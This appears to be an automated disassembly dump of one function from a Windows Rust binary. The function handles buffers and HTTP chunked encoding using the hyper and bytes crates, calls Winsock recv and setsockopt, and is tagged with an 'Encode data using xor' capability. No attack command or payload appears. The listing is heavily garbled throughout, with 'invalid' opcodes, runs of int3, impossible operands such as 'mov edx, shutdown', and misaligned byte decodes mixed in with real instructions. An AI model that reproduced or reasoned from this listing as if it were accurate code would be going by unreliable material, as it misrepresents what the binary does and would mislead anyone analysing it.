Function at 0x14013cfc0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
sub esp, 0x20
mov r11, qword [rcx]
mov rax, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov r8, qword [rcx + 0x18]
sbb byte [r9 - 0x46], cl
int 0xcc
int3
int3
int3
int3
int3
int3
cmp r11, rax
je 0x1400e1d21
sub rax, r11
mul r10
shr rdx, 6
add r11, 0x48
xor ecx, ecx
lea rax, [0x1401eee38]
jl 0x1400e1c8b
adc byte [rax], al
jmp 0x1400e1cd0
mov rsi, qword [r11 - 0x38]
add rcx, rsi
add r11, 0x50
add ebx, 0x50
dec rdx
je 0x1400e1d23
mov rsi, qword [r11 - 0x48]
movsxd rsi, dword [rax + rsi*4]
add rsi, rax
jmp rsi
mov rsi, qword [r11 - 0x30]
jmp case.0x1400af7fb.301
movzx ebx, byte [r11 - 0xd]
sub bl, byte [r11 - 0xe]
movzx esi, bl
add rsi, qword [r11 - 0x30]
jb 0x1400e1db8
add rsi, qword [r11]
jae case.0x1400af7fb.301
jmp 0x1400e1db8
mov rdi, qword [r11 - 0x30]
mov rsi, qword [r11 - 0x20]
cmp rdi, rsi
cmovb rsi, rdi
jmp case.0x1400af7fb.301
xor ecx, ecx
cmp r9, r8
je 0x1400e1dd2
sub r8, r9
mov rax, r8
mul r10
shr rdx, 6
invalid
add r9, 0x48
lea rax, [0x1401eee48]
add al, 0xd1
adc byte [rax], al
add al, 0xd1
adc byte [rax], al
jmp 0x1400e1d60
mov r8, qword [r9 - 0x38]
add rcx, r8
add r9, 0x50
dec rdx
je 0x1400e1dd2
mov r8, qword [r9 - 0x48]
movsxd r8, dword [rax + r8*4]
add r8, rax
jmp r8
mov r8, qword [r9 - 0x30]
jmp 0x1400e1d54
shr r11b, 1
loopne 0x1400e1ddb
nop word cs:[rax + rax]
mov r10, qword [r9 - 0x30]
mov r8, qword [r9 - 0x20]
cmp r10, r8
cmovb r8, r10
jmp 0x1400e1d54
ret
ret
movzx r8d, byte [r9 - 0xd]
sub r8b, byte [r9 - 0xe]
movzx r8d, r8b
add r8, qword [r9 - 0x30]
jb 0x1400e1db8
add r8, qword [r9]
jae 0x1400e1d54
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rsP
mov edx, 0x2b
call fcn.140186b70
ud2
mov rax, rcx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov rcx, r15
call fcn.1400e1370
mov rcx, r15
mov rdx, qword [rsp + 0x30]
call fcn.1400e1450
xor r13d, r13d
xor eax, eax
jmp 0x1400e1f14
mov rcx, qword [r15 + 0xe8]
mov rax, qword [r15 + 0xf0]
mov rdx, qword [rsp + 0x30]
call qword [rax + 0x28]
mov r13, rdx
test rax, rax
je 0x1400e2610
mov rdx, r13
movaps xmm6, xmmword [rsp + 0x480]
add rsp, 0x498
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, 0x18
nop word cs:[rax + rax]
mov dword [rsp + rax + 0x68], 0
mov qword [rsp + rax + 0x70], rcx
mov dword [rsp + rax + 0x78], 0
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], es
add al, 0x80
add byte [rax], al
add byte [rax - 0x7d], cl
shl byte [rax], 0x48
and byte [rax + 0x3d], cl
sbb byte [rax + rax], al
invalid
jne case.0x140110b91.126
mov rcx, rbp
sub rcx, r12
jne 0x1400e2000
xor r11d, r11d
mov r8, qword [rsp + 0x48]
mov r9, qword [rsp + 0x40]
mov qword [rsp + 0x58], rcx
test r8, r8
mov qword [rsp + 0x68], r12
and al, 0x68
je case.0x1400af7b4.228
mov rax, qword [r15 + 0x130]
cmp rax, r9
invalid
mov ecx, 0
cmovae rcx, r9
sub rax, rcx
mov rdx, r9
sub rdx, rax
ret 0x894c
invalid
sub rcx, rdx
jbe case.0x1400af7b4.229
mov r8, r9
jmp 0x1400e2065
jb 0x1400e26aa
mov rax, rcx
shr rax, 0x20
mov r8, qword [rsp + 0x48]
mov r9, qword [rsp + 0x40]
jne 0x1400e271e
test dword [rcx], eax
invalid
add byte [rax], al
mov rax, qword [r15 + 0x100]
add rax, r12
mov dword [rsp + 0x80], ecx
add byte [rax], al
mov qword [rsp + 0x88], rax
mov r11d, 1
mov qword [rsp + 0x58], rcx
test r8, r8
mov qword [rsp + 0x68], r12
invalid
jne 0x1400e1fcd
xor eax, eax
xor r8d, r8d
jmp 0x1400e2063
add r8, rax
xor ecx, ecx
mov edx, 0x40
sub rdx, r11
mov qword [rsp + 0x60], r11
and al, 0x60
mov r9, r11
shl r9, 4
add al, 0x4e
lea ebx, [rsp + rcx]
add r11, 0x80
lea rax, [rax + rax*4]
shl rax, 4
add rax, rdi
lea r8, [r8 + r8*4]
lea eax, [rax + rax*4]
shl r8, 4
add r8, rdi
add eax, edi
lea r13, [rcx + rcx*4]
shl r13, 4
add r13, rdi
mov r12, rdi
xor esi, esi
jmp 0x1400e20c5
xor eax, eax
add rbp, 0x50
add rsi, rax
invalid
mov rax, rbp
cmp rsi, rdx
je 0x1400e22c0
cmp rax, r8
je 0x1400e20e0
mov rbp, rax
mov rax, r13
mov eax, ebp
jmp 0x1400e20f2
mov rbp, r12
mov r8, r13
mov eax, ebp
cmp r12, r13
mov r12, rax
je 0x1400e22c3
mov r13, rax
mov rax, rdx
sub rax, rsi
jb 0x1400e270d
invalid
mov rcx, rsi
shl rcx, 4
lea r14, [r11 + rcx]
xor al, 0xb
xor al, 0xb
mov r9, qword [rbp]
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
jmp rcx
mov eax, dword [rbp + 0x18]
test rax, rax
test eax, eax
jne 0x1400e2151
jmp case.0x1400af7b4.231
dec dword [rcx - 0x77]
ror dword [rcx - 0x3f], 0xe9
and byte [rdi], cl
test eax, eax
add eax, 0x8b4c0000
mov r9, rax
shr r9, 0x20
jne 0x1400e271e
mov r9, qword [rbp + 0x10]
mov dword [r14], eax
mov qword [r11 + rcx + 8], r9
jmp 0x1400e21c4
adc byte [r9 - 0x77], r8b
invalid
cmp rdx, rsi
je 0x1400e2183
movzx r9d, byte [rbp + 0x3a]
movzx ebx, byte [rbp + 0x3b]
cmp bl, r9b
retf
jne 0x1400e21ce
retf
xor ecx, ecx
cmp rcx, rax
jne 0x1400e2208
jmp 0x1400e2254
mov eax, 1
jmp 0x1400e20b2
movzx r9d, r9b
movzx r10d, bl
jb 0x1400e2780
invalid
cmp bl, 0x12
ja 0x1400e2794
lea rbx, [rbp + 0x28]
sub r10d, r9d
add rbx, r9
mov dword [r14], r10d
mov dword [rsi], edx
mov qword [r11 + rcx + 8], rbx
mov ecx, 1
lea r10, [0x1401eee58]
cmp rcx, rax
je 0x1400e2254
mov r9, qword [rbp + 0x18]
test r9, r9
je 0x1400e2254
invalid
mov r10, r9
shr r10, 0x20
jne 0x1400e271e
mov r10, rcx
shl r10, 4
loop 0x1400e2229
lea rbx, [r14 + r10]
mov r15, qword [rbp + 0x10]
mov dword [rbx], r9d
mov qword [r14 + r10 + 8], r15
invalid
or byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
add byte [rbx + rcx*4 + 0x7c], cl
and al, 0x38
lea r10, [0x1401eee58]
add r9, rcx
cmp r9, rax
jbe 0x1400e2263
jmp 0x1400e2738
xor r9d, r9d
add r9, rcx
cmp r9, rax
ja 0x1400e2738
je 0x1400e22ab
mov rcx, qword [rbp + 0x48]
mov eax, 0
test rcx, rcx
je case.0x1400c0ff4.78
mov rax, rcx
shr rax, 0x20
call 0xde93319d
add al, 0
invalid
mov rax, r9
shl rax, 4
lea r10, [r14 + rax]
mov rbx, qword [rbp + 0x40]
mov dword [r10], ecx
mov qword [r14 + rax + 8], rbx
mov eax, 1
add dword [rax], eax
add byte [rax], al
lea r10, [0x1401eee58]
add rax, r9
jmp 0x1400e20b2
invalid
invalid
invalid
xor eax, eax
add rax, r9
jmp 0x1400e20b2
invalid
invalid
mov rsi, rdx
add rsi, qword [rsp + 0x60]
cmp rsi, 0x41
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
mov r14, qword [rsp + 0x68]
je 0x1400e22fe
push 0x4c9830f
add byte [rax], al
invalid
mov rdx, qword [r15 + 0xe8]
mov rax, qword [r15 + 0xf0]
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x70]
mov r8, qword [rsp + 0x30]
lea r9, [rsp + 0x80]
call qword [rax + 0x38]
cmp byte [rax - 0x75], cl
and al, 0x70
cmp rax, 2
je 0x1400e26be
mov r13, qword [rsp + 0x78]
test rax, rax
jne 0x1400e26c8
xor eax, eax
mov rdx, qword [rsp + 0x58]
cmp r13, rdx
setne al
mov ecx, 0xff
cmova eax, ecx
test al, al
je 0x1400e2360
movzx eax, al
cmp eax, 1
jne 0x1400e2370
add r14, r13
mov qword [r15 + 0x118], r14
jmp 0x1400e2520
add dword [rax], eax
invalid
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm6
jmp 0x1400e2520
mov r14, r13
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm6
sub r14, rdx
je 0x1400e2520
invalid
pushfq
add dword [rax], eax
invalid
mov r12, qword [r15 + 0x130]
jmp 0x1400e2399
test r14, r14
je 0x1400e2520
invalid
xchg dword [rcx], eax
add byte [rax], al
invalid
sub rbx, 1
jb 0x1400e274c
mov rdx, r14
mov rsi, r12
cmp r12, rbp
in al, dx
in al, dx
mov eax, 0
cmovae rax, rbp
invalid
mov rcx, r12
sub rcx, rax
lea rax, [rcx + rcx*4]
shl rax, 4
shl eax, 4
shl eax, 4
lea rcx, [rdi + rax]
mov rax, qword [rdi + rax]
lea r8, [0x1401eee68]
adc byte [rax], al
adc byte [rax], al
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov rax, qword [rcx + 0x18]
mov r14, rdx
mov esi, edx
mov esi, edx
sub r14, rax
jae 0x1400e2450
jmp 0x1400e250b
mov r8, qword [rcx + 0x18]
mov rax, qword [rcx + 0x28]
cmp r8, rax
cmovb rax, r8
mov r14, rdx
sub r14, rax
jae 0x1400e2450
jmp 0x1400e250b
movzx eax, byte [rcx + 0x3b]
sub al, byte [rcx + 0x3a]
movzx eax, al
add rax, qword [rcx + 0x18]
jb 0x1400e2766
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax + 3], cl
jb 0x1400e2766
add rax, qword [rcx + 0x48]
jb 0x1400e2766
mov r14, rdx
sub r14, rax
jae 0x1400e2450
jmp 0x1400e250b
mov rax, qword [rcx + 0x10]
mov r14, rdx
sub r14, rax
jb 0x1400e250b
mov rdx, rax
call fcn.1400e3630
lea rax, [rsi + 1]
cmp rax, rbp
mov eax, 0
cmovae rax, rbp
neg rax
lea r12, [rsi + rax]
inc r12
mov qword [r15 + 0x130], r12
mov qword [r15 + 0x138], rbx
lea rax, [rsi + rsi*4]
shl rax, 4
movups xmm0, xmmword [rdi + rax]
movups xmm1, xmmword [rdi + rax + 0x10]
movups xmm2, xmmword [rdi + rax + 0x20]
movups xmm3, xmmword [rdi + rax + 0x30]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rdi + rax + 0x40]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
mov rax, qword [rsp + 0x80]
cmp rax, 4
je 0x1400e2390
cmp eax, 2
ja 0x1400e2390
mov rax, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
lea rcx, [rsp + 0xa0]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400e2390
call fcn.1400e3630
mov rbx, qword [r15 + 0x138]
nop word [rax + rax]
mov rbp, qword [r15 + 0x110]
mov r12, qword [r15 + 0x118]
mov r8, qword [r15 + 0x128]
test rbx, rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], r8
je 0x1400e2570
mov rax, qword [r15 + 0x130]
cmp rax, r8
mov ecx, 0
cmovae rcx, r8
sub rax, rcx
mov rdx, r8
sub rdx, rax
mov rcx, rbx
sub rcx, rdx
jbe 0x1400e2580
mov rdx, r8
jmp 0x1400e2586
xor eax, eax
xor edx, edx
jmp 0x1400e2584
lea rdx, [rax + rbx]
xor ecx, ecx
mov rsi, rbp
sub rsi, r12
mov rdi, qword [r15 + 0x120]
lea rax, [rax + rax*4]
shl rax, 4
add rax, rdi
lea rdx, [rdx + rdx*4]
shl rdx, 4
add rdx, rdi
lea rcx, [rcx + rcx*4]
shl rcx, 4
add rcx, rdi
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], rcx
lea rcx, [rsp + 0x80]
call fcn.1400e1c80
add rax, rsi
je 0x1400e1ef2
test r13, r13
lea rcx, [0x1401ea218]
lea r10, [0x1401eee58]
jne 0x1400e1f70
movabs r13, 0x1700000003
jmp 0x1400e1e2e
test r13, r13
jne 0x1400e1e2e
jmp 0x1400e1e16
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1io.rs
mov rcx, r12
mov rdx, rbp
call fcn.1401869f0
ud2
mov eax, 1
jmp 0x1400e1f0b
xor eax, eax
jmp 0x1400e1f0b
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srccommon_buf.rs
mov rcx, rsi
call fcn.1401869f0
ud2
lea rcx, str.assertion_failed:_buf.len_____c::ULONG::MAX_as_usize_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_syswindowsio.rs
lea r8, [0x1401b8cb0]
mov edx, 0x35
call fcn.140186b70
ud2
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rsP
mov rcx, r9
mov rdx, rax
call fcn.1401869f0
ud2
lea rcx, str.Out_of_bounds_access_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srccommon_buf.rs
mov edx, shutdown
call fcn.140186f60
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rsP
mov edx, 0x2b
call fcn.140186b70
ud2
lea r8, [0x1401bd678]
mov rcx, r9
mov rdx, r10
call fcn.140186d80
ud2
lea r8, [0x1401bd678]
mov edx, shutdown
mov rcx, r10
call fcn.140186af0
ud2
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1io.rs
mov edx, 0x40
mov rcx, rsi
call fcn.140186af0
ud2
adc dword [rax], esp
movups xmmword [rcx + rdx + 0x10], xmm1
movups xmmword [rcx + rdx], xmm0
inc rax
mov qword [rsi + 0x38], rax
invalid
invalid
cmp byte [rax - 0x7f], r9b
invalid
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
movsxd rax, dword [rcx + rax*4]
add rax, rcx
enter 0xffffffffffff8948, 0x5d
invalid
mov byte [rbp - 1], dl
jmp rax
sbb byte [r8 - 0x75], cl
push rsi
sbb byte [rax - 0x7b], cl
test edx, edx
jne 0x1400e2d82
test edx, edx
jne 0x1400e2d82
jmp 0x1400e2dc2
cmp cl, byte [rdi]
mov dh, 0xc8
movzx ecx, al
add rcx, qword [rbx + 0x18]
jb 0x1400e2f97
add rcx, qword [rbx + 0x48]
jae 0x1400e2d5f
jae 0x1400e2d5f
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rsP
invalid
add byte [rdx + 0x2b], bh
mov edx, 0x2b
call fcn.140186b70
jmp 0x1400e2faf
add byte [rax - 0x75], cl
adc byte [r8 - 0x75], cl
push rsi
sbb byte [rax - 0x7b], cl
sal byte [rbp + 0x1a], cl
mov rdx, qword [rsi + 0x18]
test rdx, rdx
jne 0x1400e2d82
jmp 0x1400e2dc2
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
sub r8, rax
cmp r8, rcx
jae 0x1400e2dc2
mov rdi, rax
sub rdi, rdx
jb 0x1400e2f83
mov qword [rsi + 0x10], 0
je 0x1400e2dba
mov rcx, qword [rsi]
add rdx, rcx
mov r8, rdi
call sub.VCRUNTIME140.dll_memmove
or al, byte [rax]
or al, byte [rax]
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 0
lea r15, [rbx + 0x28]
jnp 0x1400e2dee
lea r12, [0x1401eee88]
jmp 0x1400e2df3
mov rcx, qword [rsi]
add rcx, r14
mov rdx, rbx
fimul dword [rcx - 0x77]
clc
call sub.VCRUNTIME140.dll_memcpy
add r14, rdi
add byte [rcx + 1], cl
dec byte [rcx + rcx*4 + 0x76]
mov qword [rsi + 0x10], r14
mov rcx, r13
mov qword [rsi + 0x10], r14
mov rcx, r13
mov rdx, rdi
call fcn.1400e3630
mov r13, qword [rbp - 0x10]
mov rax, qword [r13]
movsxd rcx, dword [r12 + rax*4]
add rcx, r12
add ecx, esp
add ecx, esp
jmp rcx
mov rbx, qword [r13 + 0x10]
mov rdi, qword [r13 + 0x18]
test rdi, rdi
jne 0x1400e2ed0
invalid
invalid
add byte [rax], al
invalid
test dword [rbx - 0x17000000], edi
in eax, 0
add byte [rax], al
nop word [rax + rax]
jmp 0x1400e2eff
movzx edx, byte [r13 + 0x3a]
movzx ecx, byte [r13 + 0x3b]
mov r8d, ecx
sub r8b, dl
movzx r8d, r8b
mov rdi, qword [r13 + 0x18]
add r8, rdi
jb 0x1400e2f3f
invalid
add byte [rdi + rdx*2 + 0x38], dh
sal dword [rbp + 0x62], 1
je 0x1400e2e9a
cmp cl, dl
jne 0x1400e2ea9
mov rbx, qword [r13 + 0x10]
test rdi, rdi
jne 0x1400e2ed0
jl 0x1400e2e52
add byte [rax], al
jmp 0x1400e2eff
mov rbx, qword [r13 + 8]
mov rdi, qword [r13 + 0x10]
test rdi, rdi
jne 0x1400e2ed0
jmp 0x1400e2eff
mov rbx, qword [r13 + 0x10]
mov rcx, qword [r13 + 0x18]
mov rdi, qword [r13 + 0x28]
cmp rcx, rdi
cmovb rdi, rcx
test rdi, rdi
jne 0x1400e2ed0
jmp 0x1400e2eff
mov rbx, qword [r13 + 0x40]
mov rdi, qword [r13 + 0x48]
test rdi, rdi
jne 0x1400e2ed0
jmp 0x1400e2eff
movzx ebx, dl
movzx edi, cl
jb 0x1400e2f6f
cmp cl, 0x12
ja 0x1400e2f59
sub rdi, rbx
add rbx, r15
test rdi, rdi
je 0x1400e2eff
nop dword [rax]
mov rax, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
sub rax, r14
cmp rax, rdi
jae case.0x1400e1cdb.22
mov rcx, rsi
mov rdx, r14
mov r8, rdi
call fcn.14018d7c0
mov r14, qword [rsi + 0x10]
mov r13, qword [rbp - 0x10]
jmp case.0x1400e1cdb.22
cmp eax, 2
je 0x1400e2f12
cmp eax, 1
je 0x1400e2f12
test rax, rax
jne case.0x1400e1cdb.18
mov rax, qword [r13 + 8]
mov rdx, qword [r13 + 0x10]
mov rax, qword [rax + 0x10]
mov r8, qword [r13 + 0x18]
add r13, 0x20
mov rcx, r13
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rsP
mov edx, 0x2b
call fcn.140186b70
jmp 0x1400e2faf
lea r8, [0x1401bd678]
mov edx, shutdown
mov rcx, rdi
call fcn.140186af0
jmp 0x1400e2faf
lea r8, [0x1401bd678]
mov rcx, rbx
mov rdx, rdi
call fcn.140186d80
jmp 0x1400e2faf
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.140186af0
jmp 0x1400e2faf
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rsP
mov edx, 0x2b
call fcn.140186b70
ud2
idiv edi
cmp qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x48]
je 0x1400e3614
movabs rax, 0x8000000000000001
cmp rcx, rax
je case.0x140110e31.21
mov eax, 1
add byte [rax], al
add byte [rax + 0x74c13948], al
adc ecx, dword [rax - 0x7b]
leave
test rcx, rcx
jne 0x1400e3622
call fcn.1400106d0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
invalid
or byte [rax - 0x7d], cl
add rsp, 0x58
pop rdi
pop rsi
ret
invalid
mov rdx, qword [rsp + 0x50]
call fcn.140186620
or al, byte [rax]
ud2
add dword [rbp + rcx*4 + 5], ecx
push rdi
mov eax, 0x63490010
add al, 0x80
lea r8, [0x1401eee98]
lea eax, [0x1401eee98]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
invalid
loopne 0x1400e3693
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x28], edx
mov rax, qword [rcx + 0x18]
mov r8, rax
sub r8, rdx
jb 0x1400e36c9
mov qword [rcx + 0x18], r8
add qword [rcx + 0x10], rdx
add rsp, 0x88
add bl, al
add bl, al
mov rax, qword [rcx + 0x28]
sub rax, rdx
jb 0x1400e36d0
mov qword [rsp + 0x28], rdx
mov r8, qword [rcx + 0x18]
mov r9, r8
sub r9, rdx
jb 0x1400e36ea
mov qword [rcx + 0x18], r9
add qword [rcx + 0x10], rdx
mov qword [rcx + 0x28], rax
add rsp, 0x88
ret
invalid
add rcx, 8
add rsp, 0x88
jmp fcn.1400e3040
mov rax, qword [rcx + 0x10]
mov r8, rax
sub r8, rdx
jb 0x1400e3758
invalid
lahf
add byte [rax], al
invalid
add qword [rcx + 8], rdx
mov qword [rcx + 0x10], r8
add rsp, 0x88
add bl, al
mov qword [rsp + 0x30], rax
jmp 0x1400e36ef
lea rcx, [0x1401bd5cc]
lea r8, [0x1401bd5f0]
mov edx, 0x23
call fcn.140186b70
ud2
mov qword [rsp + 0x30], r8
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
lea rax, [fcn.1400143f0]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_body_body.rs
lea rcx, [rsp + 0x58]
call fcn.1401869b0
ud2
lea r8, [0x1401bd2a0]
mov rcx, rdx
mov rdx, rax
call fcn.1401869f0
ud2
mov qword [r15 + 8], 0
mov qword [r15 + 0x10], r14
xor eax, eax
jmp 0x1400e390c
test rax, rax
je 0x1400e3911
mov qword [rbx + 8], rdi
movups xmm0, xmmword [rbp + 0x10]
movups xmm1, xmmword [rbp + 0x20]
and cl, ch
mov ah, 9
add byte [rax], al
add byte [rax], al
mov qword [r15 + 0x10], rax
xor eax, eax
mov qword [r15], rax
jmp 0x1400e3930
call fcn.1400e4960
mov qword [r15 + 0x10], rax
xorps xmm0, xmm0
movups xmmword [r15], xmm0
lea rcx, [rbp + 0x28]
sub byte [rcx + rcx*4 - 0xe], cl
sub byte [rcx + rcx*4 - 0xe], cl
xor r8d, r8d
call qword [rsi + reloc.WS2_32.dll_recv]
jmp 0x1400e3930
add byte [rax], al
add byte [rbx + 0x5f], bl
adc eax, 0xd81d4
add byte [rax], al
add byte [rcx - 0x48], al
sbb al, 0
add byte [rax], al
movabs al, byte [0x7ab850fc08548]
add cl, ch
invalid
cmp esi, 9
je 0x1400e424a
cmp esi, 0xd
je case.0x1400e2d10.13
invalid
invalid
invalid
jmp 0x1400e3baa
sub byte [r8 - 0x77], r9b
cli
xor r8d, r8d
call qword [r14 + reloc.WS2_32.dll_recv]
jmp fcn.1400e4245
mov ah, 2
lea rdx, [0x1401bbbf2]
mov r8d, 0x25
and eax, 0xb1000000
invalid
and eax, 0xb1000000
adc al, 0xe8
invalid
push rdx
invalid
call fcn.1400e4a10
jmp case.0x1400e2e02.9
and byte [r13 - 0x7b], r9b
sal byte [rsp + rdi + 0xf], 0xb6
invalid
cli
call qword [r14 + reloc.WS2_32.dll_recv]
cmp esi, 0xd
je case.0x1400e2d10.13
mov r12b, 2
cmp esi, 0xa
jne 0x1400e424a
lea rdx, [0x1401bbc17]
add byte [rcx - 0x48], al
sub byte [rax], al
add byte [rax], al
mov r8d, 0x28
mov cl, reloc.WS2_32.dll_setsockopt
call fcn.1400e4a10
jmp case.0x1400e2e02.9
invalid
invalid
invalid
mov cl, 0x25
call fcn.1400e4a10
mov r13, rax
mov sil, 1
lea rcx, [rbp + 0x28]
sub byte [rax - 0x77], cl
cli
sub byte [rax - 0x77], cl
cli
xor r8d, r8d
call qword [r14 + reloc.WS2_32.dll_recv]
jmp fcn.1400e4245
lea rax, [rbp + 0x20]
movups xmmword [rax], xmm0
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], rdi
mov r8, qword [rbp + 0x20]
test r8, r8
je 0x1400e3d22
mov sil, byte [rdi]
lea rcx, [rbp + 0x28]
mov rdx, rdi
call qword [r15 + reloc.WS2_32.dll_recv]
mov r15, rbx
cmp sil, 0xa
jne 0x1400e3d55
mov rbx, r14
xor eax, eax
cmp qword [rbp - 0x38], 0
jge case.0x1400af7fb.329
add byte [rdi], cl
xchg esp, eax
rol byte [rbp + rcx*4 + 0x24], 0x80
jge case.0x1400af7fb.329
add byte [rdi], cl
xchg esp, eax
rol byte [rbp + rcx*4 + 0x24], 0x80
add r12d, 4
jmp 0x1400e424a
invalid
add byte [rax], al
add eax, 0xb6400000
add dword [rcx - 0x77], ecx
std
mov r15, rbx
mov rbx, r14
jmp fcn.1400e4245
lea rdx, str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlineInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_Sizeinvalid_chunk_size:_overflowC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1encode.rs_r_n0_r_n_r_n0_r_n_r_n_r_nconnection_errorC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh2client.rs
mov r8d, 0x25
mov cl, 0x25
call fcn.1400e4a10
add byte [rcx + 0xcdae825], dh
add byte [rax], al
mov r13, rax
mov sil, 1
lea rcx, [rbp + 0x28]
sub byte [r8 - 0x77], r9b
cli
xor r8d, r8d
call qword [r15 + reloc.WS2_32.dll_recv]
adc byte [rcx - 0x77], cl
fisttp word [rcx + rcx*4 - 0xd]
mov ebx, esi
mov ebx, esi
jmp fcn.1400e4245
lea rdx, [0x1401bbbdd]
mov r8d, reloc.WS2_32.dll_setsockopt
adc eax, 0xb1000000
adc al, 0xe8
cmpsd dword [rsi], dword [rdi]
or al, 0
add cl, ch
pop rsi
std
invalid
invalid
adc eax, 0xb1000000
adc al, 0xe8
cmpsd dword [rsi], dword [rdi]
or al, 0
add cl, ch
pop rsi
std
invalid
push rbp
test al, 0x4c
mov eax, dword [rbp - 0x50]
invalid
invalid
lea rcx, [rbp - 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp - 0x20]
loopne 0x1400e3e45
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rcx
sub rdi, qword [rbp - 0x38]
mov qword [rbx + 8], rdi
sete r12b
invalid
or r12b, 4
jmp 0x1400e424a
invalid
add byte [rax], al
mov r13, rax
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov edx, dword [rbp + 0x18]
mov sil, 1
mov r8, qword [rbp + 0x20]
lea rcx, [rbp + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
jmp fcn.1400e4245
jne 0x1400e3eb3
mov qword [rbp + 0x18], rdi
mov r8, qword [rbp + 0x20]
test r8, r8
je 0x1400e3ee4
mov sil, byte [rdi]
mov dh, byte [rdi]
lea rcx, [rbp + 0x28]
mov rdx, rdi
call qword [r14 + reloc.WS2_32.dll_recv]
mov r12b, 6
cmp sil, 0xd
je 0x1400e424a
lea rdx, [0x1401bbbb1]
mov r8d, reloc.WS2_32.dll_setsockopt
adc eax, 0xb1000000
adc al, 0xe8
xor dword [rbx], ecx
add byte [rax], al
invalid
add byte [rcx - 0x48], al
adc eax, 0xb1000000
adc al, 0xe8
xor dword [rbx], ecx
